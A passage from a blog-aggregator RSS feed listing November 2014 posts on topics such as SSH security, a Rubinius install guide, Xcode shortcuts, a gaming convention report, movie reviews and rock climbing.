speed-up your Python development!&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Tue, 11 Nov 2014 23:10:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2014/11/11/a-python-toolbox/</guid></item><item><title>Calling a Rest (Json) API with PowerShell</title><link>https://daniellittle.dev/calling-a-rest-json-api-with-powershell</link><description>PowerShell makes working with rest API's easy. In PowerShell version 3, the cmdlets  and  where introduced. These cmdlets are a huge…</description><author>Daniel Little Dev</author><pubDate>Tue, 11 Nov 2014 06:39:46 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/calling-a-rest-json-api-with-powershell</guid></item><item><title>Securing SSH: Just because it has secure in the name doesn't mean that it's secure out of the box</title><link>https://joshuarogers.net/articles/2014-11/securing-ssh/</link><description>My server had an unauthorized login attempt today. Really, it was more along the lines of 2,000 login attempts. Why is my server under attack? Simply because it is on the internet. See, this is actually a normal day for a small server. Last week, there were just over 12,000 attempts.
So, business as usual for a server looks something like walking through a zombie filled wasteland armed only with a cowbell and a belt made of bacon.</description><author>Joshua Rogers</author><pubDate>Mon, 10 Nov 2014 14:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-11/securing-ssh/</guid></item><item><title>7dfps work in progress</title><link>https://etodd.io/2014/11/10/7dfps-work-in-progress/</link><description>&lt;p&gt;I'm participating in &lt;a href="http://7dfps.com"&gt;7dfps&lt;/a&gt; this year, which means I'm making an FPS game in 7 days. Here's what I've got so far:&lt;/p&gt;
&lt;p&gt;In Soviet Russia, you are bullet.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/NAinLaT.png"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/NAinLaTl.png" /&gt;&lt;/a&gt;In my 7dfps entry, moving and shooting are the same thing.&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/DampBleakFoal.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/PortlyAgonizingIndianpalmsquirrel.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Here's my favorite form of humor: physics glitches.&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/HappyClearCony.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Here's me getting killed:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/UQWq0f1.png"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/UQWq0f1l.png" /&gt;&lt;/a&gt;Here's a better shot of the city:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/rEIMoRw.png"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/rEIMoRwl.png" /&gt;&lt;/a&gt;Lots to do still.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Mon, 10 Nov 2014 03:04:39 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/11/10/7dfps-work-in-progress/</guid></item><item><title>President Obama’s Plan for a Free and Open Internet</title><link>https://www.danstroot.com/posts/2014-11-10-obama-net-neutrality</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/obama_internet.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Today President Barack Obama has come out in favor of net neutrality in very public way.  He lays out in no uncertain terms that he believes no cable company or access provider should be able to put limits on access to the Internet. In addition, he’s suggesting that the FCC recognizes access to the Internet as a basic utility, and something that Americans have a basic right to. This means no blocking, no throttling, more transparency and no paid prioritization.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-11-10-obama-net-neutrality"&gt;President Obama’s Plan for a Free and Open Internet&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Mon, 10 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-11-10-obama-net-neutrality</guid></item><item><title>Podcasting Seasons</title><link>https://solomon.io/podcasting-seasons/</link><description>I am going to try something new with Signal Tower. Wednesday night I was interviewing Justin Jackson, host of the awesome Product People podcast.</description><author>Sam Solomon</author><pubDate>Sun, 09 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/podcasting-seasons/</guid></item><item><title>Detangling snail actions. Also a cat</title><link>https://liza.io/detangling-snail-actions.-also-a-cat/</link><description>&lt;p&gt;I started writing this post on the 8th of November and have just now gotten around to finishing it.&lt;/p&gt;
&lt;p&gt;Figuring out what my snails are doing and why is getting close to impossible. I&amp;rsquo;ve got snails eating each other, or refusing to eat proper food, or for some reason not mating even though their sex drive should be pretty high. I used to print stuff out to one big default log file (&lt;code&gt;laravel.log&lt;/code&gt;), but this soon became unmanageable because I was printing logs associated with multiple actions for multiple snails at the same time.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 08 Nov 2014 09:39:34 GMT</pubDate><guid isPermaLink="true">https://liza.io/detangling-snail-actions.-also-a-cat/</guid></item><item><title>Gamehole Con, Day 1</title><link>https://benovermyer.com/blog/2014/11/gamehole-con-day-1/</link><description>&lt;p&gt;Friday was eventful. I went to a seminar on world building by Ed Greenwood, and it was fascinating to hear the creator of the Forgotten Realms talk about how to construct a game world and how the Realms evolved. The Realms were first born when he was 6. It made me wonder if I should somehow incorporate my first fantasy world, Flodoria, into Eiridia. It would make an interesting addition. I'll have to think about how the two would integrate.&lt;/p&gt;
&lt;h1 id="npc-phrasebooks"&gt;NPC Phrasebooks&lt;/h1&gt;
&lt;p&gt;One of my favorite takeaways from the world building seminar was Ed's description of how he builds short little “phrasebooks” for his NPCs and monsters. He takes common phrases and translates them into how a given type of NPC would say them, whether that's in a different language or just a different dialect. This gives him a way to increase immersion for his players without having to invent entire languages whole-cloth.&lt;/p&gt;
&lt;h1 id="a-living-world"&gt;A Living World&lt;/h1&gt;
&lt;p&gt;Another thing he emphasized was that the game world must evolve without the players. Powerful agents outside of the PCs' control need to be operating on the world, so that the players get the sense that they're in a living, breathing world and not just a stage for them to play-act upon. Ed himself spends about 3 hours of design time for every hour of play time. Given that he's a prolific writer and the father of one of the most beloved fantasy settings of all time, I'm not surprised. I wonder if I should be spending that much time on my own adventures.&lt;/p&gt;
&lt;h1 id="trade-lines-as-world-building-anchors"&gt;Trade Lines as World-Building Anchors&lt;/h1&gt;
&lt;p&gt;A helpful tip that Ed shared about building out a game world was to figure out what trade lines exist to the players' current location, and start building from there. This makes sense; if the town imports iron ore from the northwest, what kind of people would have a society built around mining? Would merchants from that region be dwarves, or maybe something else? How would they act in a tavern after a long day on the road? What stories might they tell?&lt;/p&gt;
&lt;h1 id="the-forgotten-realms-seminar"&gt;The Forgotten Realms Seminar&lt;/h1&gt;
&lt;p&gt;The second seminar I went to was a panel on Forgotten Realms hosted by Chris Perkins and Ed Greenwood. Chris Perkins is the story lead for Wizards of the Coast's D&amp;amp;D division. The two of them talked a lot about the plans for Forgotten Realms and, surprisingly, the incorporation of other settings into the Realms. The first such thing was the Tyranny of Dragons story arc, which borrows heavily from Dragonlance thematic elements. The second story arc they have planned deals with a cult of elemental evil, which is a nod to the Temple of Elemental Evil, done in a Forgotten Realms style. The third and fourth story arcs they have in the works similarly bring new things to the Realms. The third is being produced in consultation with Bob Salvatore (creator of Drizzt Do'Urden) and thematically mimics Alice in Wonderland. The fourth they were very tight-lipped on, but Chris mentioned that the consultant for it was a name we would recognize from the old TSR days.&lt;/p&gt;
&lt;p&gt;I got a look at the new DM Screen for 5th edition, as well as the new DMG. I got some acceptable shots of the screen.&lt;/p&gt;
&lt;p&gt;They also talked about brand recognition for D&amp;amp;D and Forgotten Realms, and what they hoped the future was for both. They definitely dream big, though Chris and Ed both are keeping one foot firmly on the ground when it comes to product ideas. A Forgotten Realms movie was mentioned several times as a wish, but it was stated in such a way that I think they're only hoping it comes true, not actually planning for it. Ed's thoughts on Forgotten Realms brand recognition can be summed up in this quote from him: “Being the creator of the Forgotten Realms is like being the champion of downhill skiing in the Saharan desert.” He obviously wishes he had the fame of George R. R. Martin, whom he mentioned in the seminar.&lt;/p&gt;
&lt;h1 id="gaming-with-ed-greenwood"&gt;Gaming with Ed Greenwood&lt;/h1&gt;
&lt;p&gt;The final event of the day was an AD&amp;amp;D 2E session run by Ed. I played a human wizard with a penchant for laughing at danger – a trait that got him into trouble more than once during the session. Despite some of the dire circumstances we got ourselves into, we managed to complete the quest and return the missing eyeball to its owner, none the worse for wear. Ed's GMing style reminded me of Kevin Rohan‘s, though the former has decades more experience and isn't shy about using funny voices for each of the NPCs. He definitely runs a game like a story, not a combat simulation.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sat, 08 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/11/gamehole-con-day-1/</guid></item><item><title>Gamification of Life</title><link>https://trigonaminima.github.io/2014/11/gamification-of-life/</link><description>Almost two months back I stumbled upon this question on Personal Productivity Stack Exchange. Here, someone asked the following question,</description><author>Playground</author><pubDate>Sat, 08 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/11/gamification-of-life/</guid></item><item><title>The Theory of Everything</title><link>https://olshansky.info/movie/the_theory_of_everything/</link><description>Olshansky's review of The Theory of Everything</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 07 Nov 2014 02:59:17 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_theory_of_everything/</guid></item><item><title>Gone Girl</title><link>https://olshansky.info/movie/gone_girl/</link><description>Olshansky's review of Gone Girl</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 06 Nov 2014 16:34:03 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/gone_girl/</guid></item><item><title>The Imitation Game</title><link>https://olshansky.info/movie/the_imitation_game/</link><description>Olshansky's review of The Imitation Game</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 06 Nov 2014 14:24:26 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_imitation_game/</guid></item><item><title>Why Don’t More People Work As Programmers?</title><link>https://nicolaiarocci.com/dont-people-work-programmers/</link><description>&lt;p&gt;This originally appeared on Quora and is well worth reading.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Becoming a good programmer is incredibly difficult and it doesn’t happen quickly. We can’t expect to plant some trees and have 2000-year-old redwoods grow overnight, regardless of the demand for them.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://www.forbes.com/sites/quora/2014/10/31/why-dont-more-people-work-as-programmers/"&gt;Why Don&amp;rsquo;t More People Work As Programmers? – Forbes&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 06 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/dont-people-work-programmers/</guid></item><item><title>Gamehole Con, Day 0</title><link>https://benovermyer.com/blog/2014/11/gamehole-con-day-0/</link><description>&lt;p&gt;Took off a day early so I could get to Madison, WI at a leisurely pace. I'm sitting in the hotel room writing this. This is my first trip to Madison, and my route took me through an interesting set of neighborhoods. The layout is definitely not as easy to navigate as Minneapolis's, though it had a cozier quality to it. The roads are narrower and twist and turn more.&lt;/p&gt;
&lt;p&gt;I'm fairly certain I saw Ed Greenwood entering the hotel just after me, but by the time I got checked in and looked around for him, he was gone. Ah well, I'll see him tomorrow.&lt;/p&gt;
&lt;p&gt;I plan on blogging every day of the con. We'll see what adventures are in store.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Thu, 06 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/11/gamehole-con-day-0/</guid></item><item><title>Install Rubinius on OS X</title><link>https://caiustheory.com/install-rubinius-on-os-x/</link><description>&lt;p&gt;Using &lt;a href="https://github.com/postmodern/ruby-install/"&gt;ruby-install&lt;/a&gt;, &lt;a href="http://brew.sh/"&gt;homebrew&lt;/a&gt; building it for use with &lt;a href="https://github.com/postmodern/chruby/"&gt;chruby&lt;/a&gt;, here&amp;rsquo;s how I install &lt;a href="http://rubini.us/"&gt;Rubinius&lt;/a&gt; under Yosemite (works for Mavericks as well.)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Make sure llvm is installed&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ brew install llvm
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Prepend the homebrew-installed llvm tools to your path&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ export PATH=&amp;quot;$(brew --prefix llvm)/bin:$PATH&amp;quot;
# Or, for ZSH
$ path=( $(brew --prefix llvm)/bin $path )
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install rubinius, v2.3.0 at the time of writing&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ ruby-install rbx 2.3.0
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open a fresh shell once that&amp;rsquo;s built, and you should be able to switch to rbx!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ chruby rbx
$ ruby -v
rubinius 2.3.0 (2.1.0 9d61df5d 2014-10-31 3.5.0 JI) [x86_64-darwin14.0.0]
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;There is also a homebrew tap for rubinius which should also work instead of the above. I couldn&amp;rsquo;t get it working on one of my laptops though, which is why I was installing by hand using the above instead. The tap is at &lt;a href="https://github.com/rubinius/homebrew-apps/"&gt;https://github.com/rubinius/homebrew-apps/&lt;/a&gt; and &lt;a href="https://twitter.com/brixen/status/529725881498226688"&gt;https://twitter.com/brixen/status/529725881498226688&lt;/a&gt; explains install steps.&lt;/em&gt;&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Wed, 05 Nov 2014 14:50:16 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/install-rubinius-on-os-x/</guid></item><item><title>Finding Peace in the Storm</title><link>http://evantravers.com/articles/2014/11/05/finding-peace-in-the-storm/</link><description>&lt;p&gt;&lt;img alt="sea" src="https://images.evantravers.com/articles/2014/11/galilee.jpg" /&gt;&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Jesus immediately reached out his hand and took hold of him, saying to him,
“O you of little faith, why did you doubt?” (‭Matthew‬
‭14‬:‭31‬ ESV)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Father, I have always loved this story. I love your serene concern to foolhardy
Peter... That to you the wind and waves didn't exist, didn't even perturb you.
The biggest storm in your eyes was the one in Peter's heart, and so you spoke
to that before you rebuked the elements. Your love for us is amazing.&lt;/p&gt;
&lt;p&gt;I confess that I enjoy mocking the blindness of the disciples, that they would
miss the power displayed in feeding a giant crowd and more easily assume that
you were a spectral apparition rather than the long awaited Messiah. Lord, I
find today that I'm guilty of the same foolishness. I cringe before the waves
of my life, fearing the scream of the winds of chance and I forget that if I
were to meet your eyes and believe, I could walk calmly to you.&lt;/p&gt;
&lt;p&gt;Jesus, take hold of my sinking, flailing heart today. Let me hear once more the
words said to Peter two millennia ago, and rest in your sovereignty over the
chaos of my world. I know that the worldly storm doesn't always disappear, but
there is no tempest in your peace. May I embrace it, and walk to you without
fear and in increasing joy in your amazing grace.&lt;/p&gt;
&lt;p&gt;(photo of Sea of Galilee from &lt;a href="https://www.flickr.com/photos/evantravers/sets/72157624148198263/"&gt;our trip in 2010&lt;/a&gt;... thankfully no storm involved.)&lt;/p&gt;</description><author>trv.rs</author><pubDate>Wed, 05 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/11/05/finding-peace-in-the-storm/</guid></item><item><title>The switch as an ordinary GNU/Linux server</title><link>https://purpleidea.com/blog/2014/11/04/the-switch-as-an-ordinary-gnulinux-server/</link><description>&lt;p&gt;The fact that we manage the &lt;a href="https://en.wikipedia.org/wiki/Network_switch"&gt;switches&lt;/a&gt; in our data centres differently than any other server is patently absurd, but we do so because we want to harness the power of a tiny bit of &lt;a href="https://en.wikipedia.org/wiki/Silicon#Electronic_grade"&gt;silicon&lt;/a&gt; which happens to be able to dramatically speed up the switching bandwidth.&lt;/p&gt;
&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="absurd.png"&gt;&lt;img alt="absurd" class="wp-image-984 size-full" height="100%" src="absurd.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt; beware of proprietary silicon, it's absurd!&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;That tiny bit of silicon is known as an &lt;a href="https://en.wikipedia.org/wiki/Application-specific_integrated_circuit"&gt;ASIC&lt;/a&gt;, or an &lt;a href="https://en.wikipedia.org/wiki/Application-specific_integrated_circuit"&gt;&lt;em&gt;application specific integrated circuit&lt;/em&gt;&lt;/a&gt;, and one particularly well performing ASIC (which is present in many commercially available switches) is called the &lt;a href="https://www.broadcom.com/products/Switching/Data-Center/BCM56850-Series"&gt;Trident&lt;/a&gt;.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Tue, 04 Nov 2014 04:23:52 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/11/04/the-switch-as-an-ordinary-gnulinux-server/</guid></item><item><title>Upgrading Linode</title><link>https://thomashunter.name/posts/2014-11-04-upgrading-linode</link><author>Thomas Hunter II</author><pubDate>Tue, 04 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-11-04-upgrading-linode</guid></item><item><title>Launching Remote GUIs over SSH: SSH provides a CLI, but sometimes you just need a GUI too</title><link>https://joshuarogers.net/articles/2014-11/launching-remote-guis-over-ssh/</link><description>One of the things that I love about living in a Unix environment is that 99% of the time, remote administration only means a quick trip to the console. That's 99% of the time where my desktop can look something like this:
Of course, 99% doesn't quite make a whole. There's the matter of the other 1% of the time where a GUI is required. Earlier on in my journey with Linux, I would have tried to setup a VNC server or to work around the need for a UI.</description><author>Joshua Rogers</author><pubDate>Mon, 03 Nov 2014 14:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-11/launching-remote-guis-over-ssh/</guid></item><item><title>Jabeh</title><link>https://arashpayan.com/projects/jabeh/</link><description/><author>Arash Payan</author><pubDate>Mon, 03 Nov 2014 12:30:09 GMT</pubDate><guid isPermaLink="true">https://arashpayan.com/projects/jabeh/</guid></item><item><title>What's dying is not the Mobile Web</title><link>https://stop.zona-m.net/2014/11/what-is-dying-is-not-the-mobile-web/</link><description>&lt;p&gt;I didn&amp;rsquo;t have time before to comment on a tweet I saw last April: &lt;a href="https://twitter.com/jyarow/status/450988152753094657/photo/1"&gt;&amp;ldquo;Mobile Web is dead. It&amp;rsquo;s all about apps&lt;/a&gt;. Hmmm, are we sure?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 03 Nov 2014 08:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/11/what-is-dying-is-not-the-mobile-web/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-1014.html</link><description>&lt;p&gt;This Week in Podcasts &lt;a href="https://zacs.site/blog/the-end-of-this-week-in-podcasts.html"&gt;may have ended&lt;/a&gt;, but I have no intention of ending my monthly Cabin Porn Roundups. For October, then, check out these neat little structures from across the world.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-1014.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 02 Nov 2014 15:46:35 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-1014.html</guid></item><item><title>Friendly reminder to people who still don't understand email</title><link>https://stop.zona-m.net/2014/11/friendly-reminder-to-people-who-do-not-still-understand-email/</link><description>&lt;p&gt;The ubiquitousness of no-brain-required social networks and mobile apps has made many people forget, or never learn, a boring truth of digital life: a &lt;strong&gt;LOT&lt;/strong&gt; &lt;em&gt;non-ephemeral&lt;/em&gt; online communication still happens via less glamorous, but much more effective tools like email and mailing list. This can have unintended consequences.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 02 Nov 2014 08:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/11/friendly-reminder-to-people-who-do-not-still-understand-email/</guid></item><item><title>Interstellar</title><link>https://olshansky.info/movie/interstellar/</link><description>Olshansky's review of Interstellar</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 02 Nov 2014 05:42:05 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/interstellar/</guid></item><item><title>Xcode6 tips</title><link>https://xenodium.com/xcode6-tips</link><description>&lt;p&gt;From Ray Wenderlich's &lt;a href="http://www.raywenderlich.com/85999/xcode-6-tips-tricks-tech-talk-video"&gt;tech talk&lt;/a&gt; And &lt;a href="http://www.raywenderlich.com/72021/supercharging-xcode-efficiency"&gt;supercharging Your Xcode Efficiency (by Jack Wu)&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Shortcuts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;⌘⇧o Fuzzy file search.&lt;/li&gt;
&lt;li&gt;⌘⌥j Fuzzy file search (showing in Xcode project hierarchy).&lt;/li&gt;
&lt;li&gt;⌘⇧j Show file in Xcode project hierarchy.&lt;/li&gt;
&lt;li&gt;⌘⌥0 Show/hide utility area (right panel).&lt;/li&gt;
&lt;li&gt;⌘0 Show/hide navigation area (left panel).&lt;/li&gt;
&lt;li&gt;⇧⌘Y Show/hide debug area (bottom panel).&lt;/li&gt;
&lt;li&gt;Ctrli Indent selection.&lt;/li&gt;
&lt;li&gt;⌘\ Toggle breakpoint on line.&lt;/li&gt;
&lt;li&gt;⌘/ Toggle comment.&lt;/li&gt;
&lt;li&gt;⌘[1-8] Select tabs on left panel.&lt;/li&gt;
&lt;li&gt;Ctrl[1-x] Select top file navigation menu items.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Xcode features&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Snippets.&lt;/li&gt;
&lt;li&gt;Templates.&lt;/li&gt;
&lt;li&gt;View debugging.&lt;/li&gt;
&lt;li&gt;Simctl (send files to simulator).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Plugins of interest&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Fuzzy autocomplete.&lt;/li&gt;
&lt;li&gt;Uncrustify for indentation.&lt;/li&gt;
&lt;li&gt;xcs code switch expansion.&lt;/li&gt;
&lt;li&gt;Org and order (for properties).&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 02 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/xcode6-tips</guid></item><item><title>"A delicate mix of chess... and bear wrestling"</title><link>https://josh.works/climbing/2014/11/02/a-delicate-mix-of-chess-and-bear-wrestling/</link><description>&lt;p&gt;Over the last few weeks I’ve found myself needing to break down “why” of sport climbing (I’ll refer to sport as “lead” climbing from here on out. Sorry, trad climbers).
If someone is enjoying top roping, (or bouldering) why should they take on the work of learning to lead climb, lead belay, and then deal with all the mental baggage that accompanies said switch.&lt;/p&gt;

&lt;p&gt;Could you come up with more than ten reasons for someone to do start leading?&lt;/p&gt;

&lt;p&gt;Here’s my list:
more&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Increase the challenge of climbing&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Climb overhanging lines&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Improve your overall abilities (resting, pacing, “flow”)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Your friends lead climb, and you want to be like them.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You want to be a better climber, and good climbers seem to all lead climb&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You don’t want to have to walk to the top of the cliff again to set up a TR!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You want to avoid feeling like you’re “holding back” friends that lead climb.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You think (for some reason) that big falls look exciting (and intimidating)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Every picture/video of any top climber (if they’re using a rope) shows leading. Alex Honnold doesn’t count.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then, what may be the most compelling reason:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Leading is a logical and necessary next step to improving your climbing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Honestly, I’m still struggling to build a case for leading. I’ll just leave it at this - a segment of the general population climbs rocks (it’s hard to say why). A segment of that population of climbers lead. They (you) don’t need any convincing, they just do.&lt;/p&gt;

&lt;p&gt;Isn’t this line of reasoning similar to why we climb anyway? Explaining rock climbing to a non-climber is not as easy as you might think.&lt;/p&gt;

&lt;p&gt;The academic “I enjoy the mental and physical challenges associated with this sport” both 1) applies to almost anything (golf, beach combing, unicycling) and 2) doesn’t quite explain why you’ll drive 12 hours to scare the living snot out of yourself just to get to the top of a piece of rock via one method rather than another.&lt;/p&gt;

&lt;p&gt;Why do we rock climb and not hike, or run, or ride a bike? Why do we spend the money and time and blood, sweat, and tears, on this pursuit?&lt;/p&gt;

&lt;p&gt;These are compelling reasons to me:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;We have pretty poor hand-eye coordination, and rock moves slow enough for most of us to catch it (Applies to just me? ok, then.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Some of us are too short/small for football and basketball.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We usually enjoy the thrill of difficult moves high in the air&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Climbers like being able to be delicate and graceful, without having to get into ballet or dance (but there is plenty of overlap between those activities and climbing)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We enjoy the overlap between thinking hard and trying hard. (A friend calls climbing “a delicate mix of chess… and bear wrestling”)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We get to see things that we wouldn’t otherwise see, and from perspectives we wouldn’t otherwise get.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It’s 
extremely motivating to see a return on investment of all the work and time spent climbing&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;The community (as a whole) is encouraging, warm, and friendly.&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Our small group of climbing friends shares a bond we wouldn’t otherwise have.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Be it an “easy” top rope or surviving a multi-pitch epic in freezing rain - climbing brings us together in a way that our day-to-day would 
never do. Similar to how boot camp builds bonds in soldiers, suffering together, working together, encouraging each other, and keeping each other alive (you do that when you belay - did you know that?) builds bonds.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Participating in a sport where you would die if you made a serious mistake sort of makes you feel alive. (Nor sure what this says more about: climbing, or the people who identify with this as a reason for climbing.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Climbing is “easy” in terms of participation. The gear takes up minimal space (all my climbing gear fits in a single medium-sized plastic bin) and is easy to transport. (Kayaks, anyone?) Anyone can put up a hangboard and have an effective training tool. “Practicing” skiing away from a mountain, in the off season, seems a bit harder.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Climbing gyms. Lets be honest - as much as our community “discusses” proper gym-climbing ethics, grades, what people should/should not wear in the gym, setting, reachy and dynamic and “unfair” moves, sexism, tape vs. colored routes, and all that other stuff - we all care so much because we love our local climbing gym. The people there represent so much to us. I would not be a happy camper if I lost that community.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We love being able to get stronger, more technically proficient, or more mentally “strong”, and all of those can improve our climbing.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We love being able to all participate in the same event, even if we climb at different levels. If I go for a run with my much stronger running friend, he’ll leave me in the dust well before he finishes his 40 mile run. (Not kidding about the distance.) When we climb, no matter how big or small a difference in our climbing abilities, we can each find good routes.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Phew. That’s a lot of reasons, but I 
still think this is missing the point.&lt;/p&gt;

&lt;p&gt;I turned to Google to solve this existential question. Here’s the best I could find.&lt;/p&gt;

&lt;p&gt;Question: Why climb?&lt;/p&gt;

&lt;p&gt;Answers:&lt;/p&gt;

&lt;ul&gt;
